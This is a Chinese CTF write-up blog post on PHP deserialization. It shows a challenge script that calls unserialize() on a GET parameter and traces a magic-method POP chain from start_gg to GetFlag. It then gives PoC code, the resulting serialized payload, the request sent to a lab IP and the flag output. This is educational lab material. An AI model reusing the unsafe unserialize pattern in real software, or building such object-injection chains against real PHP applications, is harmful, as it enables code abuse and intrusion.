反序列化漏洞(3), CTF夺旗

文章讲述了在CTF竞赛中,通过分析PHP代码中的反序列化过程,发现并利用了一个安全漏洞,通过构造特定的调用链序列化对象来获取flag的过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

反序列化, CTF夺旗

一, 代码审计

1. 题目源码
<?php
class start_gg {
    public $mod1;
    public $mod2;
    public function __destruct() {
        $this->mod1->test1();
    }
}
class Call {
    public $mod1;
    public $mod2;
    public function test1() {
        $this->mod1->test2();
    }
}
class funct {
    public $mod1;
    public $mod2;
    public function __call($test2,$arr) {
        $s1 = $this->mod1;
        $s1();
    }
}
class func {
    public $mod1;
    public $mod2;
    public function __invoke() {
        $this->mod2 = "字符串拼接".$this->mod1;
    } 
}
class string1 {
    public $str1;
    public $str2;
    public function __toString() {
        $this->str1->get_flag();
        return "1";
    }
}
class GetFlag {
    public function get_flag() {
        echo "flag:"."59DB9139E685F7D6A4A8784F9221066F";
    }
}
$a = $_GET['string'];
unserialize($a);

?>
2. 分析调用链

夺旗我们可以从调用链的终点开始分析.

我们看到flag是在GetFlag类的get_flag()方法获取, 那么查找哪个类可以调用到 get_flag() , 找到 string1 类.

string1 中调用了 __toString() 方法, 那么查找哪个类可以调用到 __toString() 方法, 看到 func 类中使用 mod1 做了字符串拼接, 那么定位到 func 类.

func中调用了__invoke()方法, 那么查找哪个类里面有用函数形式调用对象的代码, 看到funct类中使用 s1() 的形式调用, 那么让mod1作为一个对象即可, 定位到funct类.

funct 中使用了__call()方法, 那么查找哪个类里面调用了不存在的方法, 看到 Call 类中调用了不存在的方法test2(), 所以定位到 Call 类.

Call 类中调用了 test1() 方法, 这不是一个魔术方法, 那么我们查看一下哪个类中直接调用了 test1() 这个方法, 看到在 start_gg 类中直接调用了test1()方法, 那么定位到 start_gg 类.

到此为止所有的类已经被我们串联了起来, 以 GetFlag为终点, start_gg为起点形成调用链.

二, 根据调用链编写POC

根据我们分析的调用链顺序逐步实例化对象, 注意实例化哪个对象和它赋值给哪个属性, 搞错任何一个位置调用链就会失败.

<?php
class GetFlag {
    public function get_flag() {
        echo "flag:"."59DB9139E685F7D6A4A8784F9221066F";
    }
}

class string1 {
    public $str1;
    public $str2;

    public function __construct(){
        $this->str1 = new GetFlag();
    }
    
}

class func {
    public $mod1;
    public $mod2;
    
    public function __construct(){
        $this->mod1 = new string1();
    }
}

class funct {
    public $mod1;
    public $mod2;

    public function __construct(){
        $this->mod1  = new func();
    }
}

class Call {
    public $mod1;
    public $mod2;
    
    public function __construct(){
        $this->mod1  = new funct();
    }
}

class start_gg {
    public $mod1;
    public $mod2;
    
    public function __construct(){
        $this->mod1  = new Call();
    }
}

echo serialize(new start_gg()); // 序列化对象, 得到字符串
?>

执行结果:

O:8:"start_gg":2:{s:4:"mod1";O:4:"Call":2:{s:4:"mod1";O:5:"funct":2:{s:4:"mod1";O:4:"func":2:{s:4:"mod1";O:7:"string1":2:{s:4:"str1";O:7:"GetFlag":0:{}s:4:"str2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}

三, 利用漏洞获取flag

根据题目源码的参数, 提交GET请求:

http://192.168.112.200/security/unserial/ustest.php
?string=O:8:"start_gg":2:{s:4:"mod1";O:4:"Call":2:{s:4:"mod1";O:5:"funct":2:{s:4:"mod1";O:4:"func":2:{s:4:"mod1";O:7:"string1":2:{s:4:"str1";O:7:"GetFlag":0:{}s:4:"str2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}

执行结果:

flag:59DB9139E685F7D6A4A8784F9221066F
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值